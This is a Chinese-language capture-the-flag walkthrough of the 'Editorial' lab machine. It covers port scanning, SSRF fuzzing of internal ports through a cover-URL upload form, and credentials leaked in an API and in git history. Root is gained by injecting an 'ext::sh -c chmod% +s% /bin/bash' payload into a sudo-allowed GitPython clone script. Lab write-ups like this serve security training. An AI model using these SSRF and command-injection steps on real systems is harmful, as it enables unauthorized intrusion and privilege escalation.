【season-5】box Editorial wp

15k words

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
└─$ sudo nmap -sS 10.129.xxx.xxx -p22,80 -sV --min-rate=3000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-16 00:24 EDT
Nmap scan report for 10.129.xx.xx (10.129.xx.xx)
Host is up (0.43s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.35 seconds

wp1

扫了一下目录,没啥东西其实。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
└─$ feroxbuster -u http://editorial.htb/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -d 2

___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.10.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://editorial.htb/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.10.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 2
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 5l 31w 207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 210l 537w 7140c http://editorial.htb/upload
200 GET 72l 232w 2939c http://editorial.htb/about
200 GET 7l 2189w 194901c http://editorial.htb/static/css/bootstrap.min.css
302 GET 5l 22w 201c http://editorial.htb/upload-cover => http://editorial.htb/upload
200 GET 4780l 27457w 2300540c http://editorial.htb/static/images/pexels-min-an-694740.jpg
200 GET 177l 589w 8577c http://editorial.htb/
200 GET 81l 467w 28535c http://editorial.htb/static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg
200 GET 10938l 65137w 4902042c http://editorial.htb/static/images/pexels-janko-ferlic-590493.jpg

点了点web功能

其实就这里能用,search也没注入啥的

wp2

这里有个框可以填url获取封面,测一下

wp3

1
2
3
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.18.68 - - [16/Jun/2024 02:39:07] "GET /test HTTP/1.1" 200 -

有收到请求不过返回了个图片地址

wp4

正常放了一下请求,发现他这个图裂开了

wp5

wp7

复制一下看看这图是不是获取到我的test文件了

wp6

wp8

可以断定应该是一个ssrf,优先考虑目标机器内网端口探测,其次是路径探测,那就需要考虑一下怎么判断探测成不成功了。

比较简单的做法是给个错路径看他回显。

wp9

先给个错路径看一下他的应答

1
/static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg

再换一个没开的端口

wp10

可以看到路径返回的也是

1
/static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg

只要目标不存在,返回内容就是固定的。

由此我直接进行一个ffuf。

先存一下包,这里我习惯用ffuf raw request

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
└─$ cat fu
POST /upload-cover HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------41753971281834598872479830583
Content-Length: 358
Origin: http://editorial.htb
Connection: close
Referer: http://editorial.htb/upload

-----------------------------41753971281834598872479830583
Content-Disposition: form-data; name="bookurl"

http://127.0.0.1:FUZZ
-----------------------------41753971281834598872479830583
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream


-----------------------------41753971281834598872479830583--


然后弄个字典

1
for i in {1..65535};do echo $i >> rl;done

跑一下ffuf

1
2
3
ffuf -w rl -request-proto http -request fu -fs 61 -t 100

5000 [Status: 200, Size: 51, Words: 1, Lines: 1, Duration: 411ms]

只出了5000

看下5000有啥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
{
"messages": [
{
"promotions": {
"description": "Retrieve a list of all the promotions in our library.",
"endpoint": "/api/latest/metadata/messages/promos",
"methods": "GET"
}
},
{
"coupons": {
"description": "Retrieve the list of coupons to use in our library.",
"endpoint": "/api/latest/metadata/messages/coupons",
"methods": "GET"
}
},
{
"new_authors": {
"description": "Retrieve the welcome message sended to our new authors.",
"endpoint": "/api/latest/metadata/messages/authors",
"methods": "GET"
}
},
{
"platform_use": {
"description": "Retrieve examples of how to use the platform.",
"endpoint": "/api/latest/metadata/messages/how_to_use_platform",
"methods": "GET"
}
}
],
"version": [
{
"changelog": {
"description": "Retrieve a list of all the versions and updates of the api.",
"endpoint": "/api/latest/metadata/changelog",
"methods": "GET"
}
},
{
"latest": {
"description": "Retrieve the last version of api.",
"endpoint": "/api/latest/metadata",
"methods": "GET"
}
}
]
}

好吧是一堆接口,看着跟api注册中心似的.

挨个访问了下,有几个访问返回web报错。

其中有回显的是changelog

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
[
{
"1": {
"api_route": "/api/v1/metadata/",
"contact_email_1": "soporte@tiempoarriba.oc",
"contact_email_2": "info@tiempoarriba.oc",
"editorial": "Editorial El Tiempo Por Arriba"
}
},
{
"1.1": {
"api_route": "/api/v1.1/metadata/",
"contact_email_1": "soporte@tiempoarriba.oc",
"contact_email_2": "info@tiempoarriba.oc",
"editorial": "Ed Tiempo Arriba"
}
},
{
"1.2": {
"contact_email_1": "soporte@tiempoarriba.oc",
"contact_email_2": "info@tiempoarriba.oc",
"editorial": "Editorial Tiempo Arriba",
"endpoint": "/api/v1.2/metadata/"
}
},
{
"2": {
"contact_email": "info@tiempoarriba.moc.oc",
"editorial": "Editorial Tiempo Arriba",
"endpoint": "/api/v2/metadata/"
}
}
]

我访问了一下最新的/api/v2/metadata/路径也是报错

然后是author

1
2
3
4
5
6
7
8
9
{
"template_mail_message": "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.
Your login credentials for our internal forum and authors site are:
Username: dev
Password: dev080217_devAPI!@
Please be sure to change your password as soon as possible for security purposes.
Don't hesitate to reach out if you have any questions or ideas - we're always here to support you.
Best regards, Editorial Tiempo Arriba Team."
}

给了个账号密码,这里好坑啊我忘了他是个ez靶机,还寻思要拿着这个账户密码过啥认证,端详了好一会。

再是coupons啥都没

1
2
3
4
5
6
7
8
9
[{
"2anniversaryTWOandFOURread4":
{"contact_email_2":
"info@tiempoarriba.oc","valid_until":"12/02/2024"
}},{
"frEsh11bookS230":
{"contact_email_2":
"info@tiempoarriba.oc","valid_until":
"31/11/2023"}}]

然后拿着账户密码去ssh get user了,笑死(

Root

在当前dev用户下面有个apps

1
2
bash-5.1$ ls
apps user.txt

进去里面有个.git

1
2
3
4
5
bash-5.1$ ls -al
total 12
drwxrwxr-x 3 dev dev 4096 Jun 5 14:36 .
drwxr-x--- 4 dev dev 4096 Jun 5 14:36 ..
drwxr-xr-x 8 dev dev 4096 Jun 5 14:36 .git

直接进行一个git show瞄一眼,确实是有历史commit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 21:04:21 2023 -0500

fix: bugfix in api port endpoint

diff --git a/app_editorial/app.py b/app_editorial/app.py
index aeabbbc..4855487 100644
--- a/app_editorial/app.py
+++ b/app_editorial/app.py
@@ -22,7 +22,7 @@ def request_reject_localhost(url_bookcover):

# -- Editorial information (API)
def api_editorial_info(key):
- r = requests.get('http://127.0.0.1:5001/api')
+ r = requests.get('http://127.0.0.1:5000/api')
json_editorial_info = json.loads(r.text)

editorial_api_version = list(json_editorial_info['version'][-1].keys())[0]

恢复一下文件

1
2
3
4
bash-5.1$ git reset --hard 8ad0f3187e2bda88bba85074635ea942974587e8
HEAD is now at 8ad0f31 fix: bugfix in api port endpoint
bash-5.1$ ls
app_api app_editorial

在app_api下面有个app.py有些难绷

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
....
# -- : (development) mail message to new authors
@app.route(api_route + '/authors/message', methods=['GET'])
def api_mail_new_authors():
return jsonify({
'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
}) # TODO: replace dev credentials when checks pass

# -------------------------------
# Start program
# -------------------------------
if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000)

bash-5.1$ pwd
/home/dev/apps

可以看到他这个其实是5000端口的监听,这个端口下的东西原来是他自己写的…醉了。

需要注意的是这里历史里害有蛮多东西,挨个恢复一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
git log

commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 21:04:21 2023 -0500

fix: bugfix in api port endpoint

commit dfef9f20e57d730b7d71967582035925d57ad883
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 21:01:11 2023 -0500

change: remove debug and update api port

commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:55:08 2023 -0500

change(api): downgrading prod to dev

* To use development environment.

commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:51:10 2023 -0500

feat: create api to editorial info

* It (will) contains internal info about the editorial, this enable
faster access to information.

commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:48:43 2023 -0500

feat: create editorial app

然后挨个版本看一下的话你会发现在其中一个版本他单独替换了user/password部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
dev@editorial:~/apps$ git show b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:55:08 2023 -0500

change(api): downgrading prod to dev

* To use development environment.

diff --git a/app_api/app.py b/app_api/app.py
index 61b786f..3373b14 100644
--- a/app_api/app.py
+++ b/app_api/app.py
@@ -64,7 +64,7 @@ def index():
@app.route(api_route + '/authors/message', methods=['GET'])
def api_mail_new_authors():
return jsonify({
- 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
+ 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."

他原来的账户密码是

1
2
Username: prod
Password: 080217_Producti0n_2023!@

看下是不是真有这个用户(因为这是台ez所以当时我一进来时候就没收集信息)

1
2
3
4
dev@editorial:~/apps$ grep bash /etc/passwd
root:x:0:0:root:/root:/bin/bash
prod:x:1000:1000:Alirio Acosta:/home/prod:/bin/bash
dev:x:1001:1001::/home/dev:/bin/bash

确定有这个用户就直接切用户就行.

看下prod的sudo -l有没有货

1
2
3
4
5
6
7
prod@editorial:~$ sudo -l 
[sudo] password for prod:
Matching Defaults entries for prod on editorial:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User prod may run the following commands on editorial:
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *

看下这个脚本是干啥的

1
2
3
4
5
6
7
8
9
10
11
12
13
prod@editorial:~$ cat /opt/internal_apps/clone_changes/clone_prod_change.py
#!/usr/bin/python3

import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')

url_to_clone = sys.argv[1]

r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])

主体还是r做了调用,而rrepo,也就是git库可能有问题,所以我直接去搜

wp11

这里其实有点坑,我一开始用的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c chmod +s /bin/bash'
Traceback (most recent call last):
File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
finalize_process(proc, stderr=stderr)
File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
proc.wait(**kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c chmod +s /bin/bash new_changes
stderr: 'Cloning into 'new_changes'...
chmod: missing operand
Try 'chmod --help' for more information.
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
'
prod@editorial:~$ ls /bin/bash -l
-rwxr-xr-x 1 root root 1396520 Mar 14 11:31 /bin/bash

我寻思是传参有啥问题了估计,然后试了下 ext::bash -c whoami还是正常执行的。

然后又回头看了下poc,考虑可能是空格或者字符转义的问题,然后和poc里那样,在一个特殊字符前的命令结尾加了一个%.

最终试了几下,这个成了

1
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py  'ext::sh -c chmod% +s% /bin/bash'
1
2
prod@editorial:~$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1396520 Mar 14 11:31 /bin/bash

题外话:他那个app_editorial我还寻思是个模版内注入来着..我看里面有这个render_template

1
2
3
@app.route('/about')        
def about():
return render_template('about.html', editorial_name=api_editorial_info('name'), editorial_contact=api_editorial_info('contact'))

XD